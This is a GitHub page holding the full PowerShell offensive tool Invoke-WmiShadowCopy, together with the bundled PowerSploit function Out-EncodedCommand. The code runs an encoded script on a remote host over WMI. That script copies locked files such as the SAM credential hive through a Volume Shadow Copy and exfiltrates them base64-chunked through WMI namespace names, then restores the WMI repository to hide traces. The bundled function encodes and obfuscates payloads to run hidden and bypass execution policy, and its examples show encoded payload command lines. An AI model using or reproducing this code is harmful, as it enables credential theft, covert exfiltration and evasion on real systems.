-
Notifications
You must be signed in to change notification settings - Fork 33
Expand file tree
/
Copy pathInvoke-WmiShadowCopy.ps1
More file actions
450 lines (332 loc) · 17.7 KB
/
Invoke-WmiShadowCopy.ps1
File metadata and controls
450 lines (332 loc) · 17.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
function Invoke-WmiShadowCopy {
<#
.SYNOPSIS
Creates and links a Volume Shadow Copy, gets file handle and copies locked files, exfiltrates files over WMI.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: Out-EncodedCommand, Get-WmiChunk
Optional Dependencies: New-WmiSession
.DESCRIPTION
Invoke-WmiShadowCopy creates a new Volume Shadow Copy via the WMI Win32_ShadowCopy class's Create method. After the Shadow Volume is created, its Device is linked to a directoy. After linking, a file handle can be acquired to copy locked files. The copied file's data is Base64 encoded and written to WMI namespaces for exfiltration.
.PARAMETER ComputerName
Specifies the remote host to interact with.
.PARAMETER UserName
Specifies the Domain\UserName to create a credential object for authentication, will also accept a PSCredential object. If this parameter isn't used, the credentials of the current session will be used. (Credentials can be loaded via Runas or some other method.)
.EXAMPLE
PS C:\> Invoke-WmiShadowCopy -ComputerName Server01 -UserName Server01\Administrator -RemotePath C:\Windows\System32\config\SAM -LocalPath C:\tmp\SAM
.EXAMPLE
PS C:\> $Session1 = New-WmiSession -ComputerName Server01 -UserName Server01\Administrator -Namespace EVIL -Tag NINJATAG
PS C:\> $Session1 | Invoke-WmiShadowCopy -RemotePath C:\Windows\System32\SAM -LocalPath C:\tmp\SAM
.NOTES
TODO
----
Let me know
.LINK
http://www.secabstraction.com/
#>
Param (
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$ComputerName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$Namespace = "root\default",
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$Tag = ([System.IO.Path]::GetRandomFileName()).Remove(8,4),
[Parameter(Position = 0, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$RemotePath,
[Parameter(Position = 1)]
[String]
$LocalPath = ".",
[Parameter(Position = 2)]
[String]
$ShadowDirectory = ([System.IO.Path]::GetRandomFileName()).Remove(8,4)
) # End Param
if ($PSBoundParameters['Path'] -eq '.') { $LocalPath = Resolve-Path $LocalPath }
# PowerShell script to handle activity on remote computer
$RemoteScript = @"
`$WmiBackup = [System.IO.Path]::GetRandomFileName()
Invoke-Expression "winmgmt /backup `$env:TEMP\`$WmiBackup"
`$NewShadowVolume = ([WMICLASS]"root\cimv2:Win32_ShadowCopy").Create("$RemotePath".SubString(0,3), "ClientAccessible")
`$ShadowDevice = (Get-WmiObject -Query "SELECT * FROM WIn32_ShadowCopy WHERE ID='`$(`$NewShadowVolume.ShadowID)'").DeviceObject + '\'
Invoke-Command {cmd.exe /c mklink /d %TEMP%\$ShadowDirectory `$ShadowDevice}
function Insert-Piece(`$i, `$piece) {
`$Count = `$i.ToString()
`$Zeros = "0" * (6 - `$Count.Length)
`$Tag = "$Tag" + `$Zeros + `$Count
`$Piece = `$Tag + `$piece + `$Tag
`$null = Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name=`$Piece}
}
function Insert-EncodedChunk (`$ByteBuffer) {
`$EncodedChunk = [Convert]::ToBase64String(`$ByteBuffer)
`$WmiEncoded = `$EncodedChunk -replace '\+',[char]0x00F3 -replace '/','_' -replace '=',''
`$nop = [Math]::Floor(`$WmiEncoded.Length / 5500)
if (`$WmiEncoded.Length -gt 5500) {
`$LastPiece = `$WmiEncoded.Substring(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500))
`$WmiEncoded = `$WmiEncoded.Remove(`$WmiEncoded.Length - (`$WmiEncoded.Length % 5500), (`$WmiEncoded.Length % 5500))
for(`$i = 1; `$i -le `$nop; `$i++) {
`$piece = `$WmiEncoded.Substring(0,5500)
`$WmiEncoded = `$WmiEncoded.Substring(5500,(`$WmiEncoded.Length - 5500))
Insert-Piece `$i `$piece
}
`$WmiEncoded = `$LastPiece
}
Insert-Piece (`$nop + 1) `$WmiEncoded
Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name='CHUNK_READY'}
}
[UInt64]`$FileOffset = 0
`$BufferSize = $BufferSize
`$Path = `$env:TEMP + '\' + "$ShadowDirectory" + "$RemotePath".SubString(2, "$RemotePath".Length - 2)
`$FileStream = New-Object System.IO.FileStream "`$Path",([System.IO.FileMode]::Open)
`$BytesLeft = `$FileStream.Length
if (`$FileStream.Length -gt `$BufferSize) {
[Byte[]]`$ByteBuffer = New-Object Byte[] `$BufferSize
do {
`$FileStream.Seek(`$FileOffset, [System.IO.SeekOrigin]::Begin) | Out-Null
`$FileStream.Read(`$ByteBuffer, 0, `$BufferSize) | Out-Null
[UInt64]`$FileOffset += `$ByteBuffer.Length
`$BytesLeft -= `$ByteBuffer.Length
Insert-EncodedChunk `$ByteBuffer
`$ChunkDownloaded = ""
do {`$ChunkDownloaded = Get-WmiObject -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name like 'CHUNK_DOWNLOADED'"
} until (`$ChunkDownloaded)
Get-WmiObject -Namespace $Namespace -Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'CHUNK_DOWNLOADED'" | Remove-WmiObject
} while (`$BytesLeft -gt `$BufferSize)
}
`$ByteBuffer = `$null
[Byte[]]`$ByteBuffer = New-Object Byte[] (`$BytesLeft)
`$FileStream.Seek(`$FileOffset, [System.IO.SeekOrigin]::Begin)
`$FileStream.Read(`$ByteBuffer, 0, `$BytesLeft)
Insert-EncodedChunk `$ByteBuffer
`$FileStream.Flush()
`$FileStream.Dispose()
`$FileStream = `$null
`$null = Set-WmiInstance -EnableAll -Namespace $Namespace -Path __Namespace -PutType CreateOnly -Arguments @{Name='DOWNLOAD_COMPLETE'}
Invoke-Expression "cmd.exe /c rmdir %TEMP%\$ShadowDirectory"
Get-WmiObject -Query "SELECT * FROM Win32_ShadowCopy WHERE ID='`$(`$NewShadowVolume.ShadowID)'" | Remove-WmiObject
Invoke-Expression "winmgmt.exe /restore `$env:TEMP\`$WmiBackup 1"
Remove-Item `$env:TEMP\`$WmiBackup
"@
$ScriptBlock = [ScriptBlock]::Create($RemoteScript)
# Base64 encode script so it can be passed as a command-line argument
$EncodedPosh = Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $ScriptBlock
# Run encoded script on remote computer using WMI
$null = Invoke-WmiMethod -EnableAllPrivileges -ComputerName $ComputerName -Credential $UserName -Class Win32_Process -Name Create -ArgumentList $EncodedPosh
# Download chunks of data until 'DOWNLOAD_COMPLETE' flow-control flag is set
$DownloadComplete = ""
do {
Get-WmiChunk -ComputerName $ComputerName -UserName $UserName -Namespace $Namespace -Tag $Tag -Path $LocalPath
$DownloadComplete = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Query "SELECT * FROM __Namespace WHERE Name LIKE 'DOWNLOAD_COMPLETE'"
} until ($DownloadComplete)
# Remove all data written to WMI Namespace
Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Query "SELECT * FROM __Namespace WHERE Name LIKE '$Tag%' OR Name LIKE 'DOWNLOAD_COMPLETE' or Name LIKE 'CHUNK_DOWNLOADED'" | Remove-WmiObject
}
function Get-WmiChunk {
<#
.SYNOPSIS
Retrieves chunks of data written to WMI Namespaces by Invoke-WmiShadowCopy.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-WmiChunk isn't intended for user interaction, but as a helper function for exfiltrating data over WMI.
.EXAMPLE
.NOTES
TODO
----
Let me know
.LINK
http://www.secabstraction.com/
#>
Param (
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[string[]]
$ComputerName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$Namespace = "root\default",
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$Tag,
[Parameter(Mandatory = $True)]
[String]$Path
) # End Param
$Reconstructed = New-Object System.Text.StringBuilder
# Wait for remote session to set flow-control flag
$ChunkReady = ""
do {$ChunkReady = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Query "SELECT * FROM __Namespace WHERE Name LIKE 'CHUNK_READY'"
} until ($ChunkReady)
# Remove flow-control flag
Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Query "SELECT * FROM __Namespace WHERE Name LIKE 'CHUNK_READY'" | Remove-WmiObject
# Retrieve data from WMI Namespaces, sort by tag number, store in string[]
$GetWmiStrings = Get-WmiObject -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Query "SELECT * FROM __Namespace WHERE Name like '$Tag%'" | % {$_.Name} | Sort-Object
# Restore Base64 characters that were swapped for WMI-friendly characters and remove 14-character tags
foreach ($line in $GetWmiStrings) {
$WmiToBase64 = $line.Remove(0,14) -replace [char]0x00F3,[char]0x002B -replace '_','/'
$WmiToBase64 = $WmiToBase64.Remove($WmiToBase64.Length - 14, 14)
$null = $Reconstructed.Append($WmiToBase64)
}
# Restore Base64 padding characters that were removed so data can be decoded
if ($Reconstructed.ToString().Length % 4 -ne 0) { $null = $Reconstructed.Append(("===").Substring(0, 4 - ($Reconstructed.ToString().Length % 4))) }
[Byte[]]$DecodedByteArray = [Convert]::FromBase64String($Reconstructed)
# Write bytes to the local file
$FileStream = New-Object System.IO.FileStream $Path,([System.IO.FileMode]::Append)
$null = $FileStream.Seek(0, [System.IO.SeekOrigin]::End)
$FileStream.Write($DecodedByteArray, 0, $DecodedByteArray.Length)
$FileStream.Flush()
$FileStream.Dispose()
$FileStream = $null
# Set flow-control flag to let remote session know this chunk has been downloaded
$null = Set-WmiInstance -ComputerName $ComputerName -Credential $UserName -Namespace $Namespace `
-Path __Namespace -PutType CreateOnly -Arguments @{Name="CHUNK_DOWNLOADED"}
}
function Out-EncodedCommand {
<#
.SYNOPSIS
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
PowerSploit Function: Out-EncodedCommand
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER Path
Specifies the path to your payload.
.PARAMETER NoExit
Outputs the option to not exit after running startup commands.
.PARAMETER NoProfile
Outputs the option to not load the Windows PowerShell profile.
.PARAMETER NonInteractive
Outputs the option to not present an interactive prompt to the user.
.PARAMETER Wow64
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
.PARAMETER WindowStyle
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
.PARAMETER EncodedOutput
Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid.
.EXAMPLE
C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
.EXAMPLE
C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
Description
-----------
Execute the above payload for the lulz. >D
.NOTES
This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter(Position = 0, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Switch]
$NoExit,
[Switch]
$NoProfile,
[Switch]
$NonInteractive,
[Switch]
$Wow64,
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
[String]
$WindowStyle,
[Switch]
$EncodedOutput
)
if ($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
}
else
{
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
}
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
# Base-64 strings passed to -EncodedCommand must be unicode encoded.
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
# Build the command line options
# Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea.
$CommandlineOptions = New-Object String[](0)
if ($PSBoundParameters['NoExit'])
{ $CommandlineOptions += '-NoE' }
if ($PSBoundParameters['NoProfile'])
{ $CommandlineOptions += '-NoP' }
if ($PSBoundParameters['NonInteractive'])
{ $CommandlineOptions += '-NonI' }
if ($PSBoundParameters['WindowStyle'])
{ $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" }
$CmdMaxLength = 8190
# Build up the full command-line string. Default to outputting a fully base-64 encoded command.
# If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial
# base-64 encoding to save space. Thanks @Carlos_Perez for the idea.
if ($PSBoundParameters['Wow64'])
{
$CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
{
$CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
}
if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
{
$CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
}
}
else
{
$CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
{
$CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
}
if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
{
$CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
}
}
if ($CommandLineOutput.Length -gt $CmdMaxLength)
{
Write-Warning 'This command exceeds the cmd.exe maximum allowed length!'
}
Write-Output $CommandLineOutput
}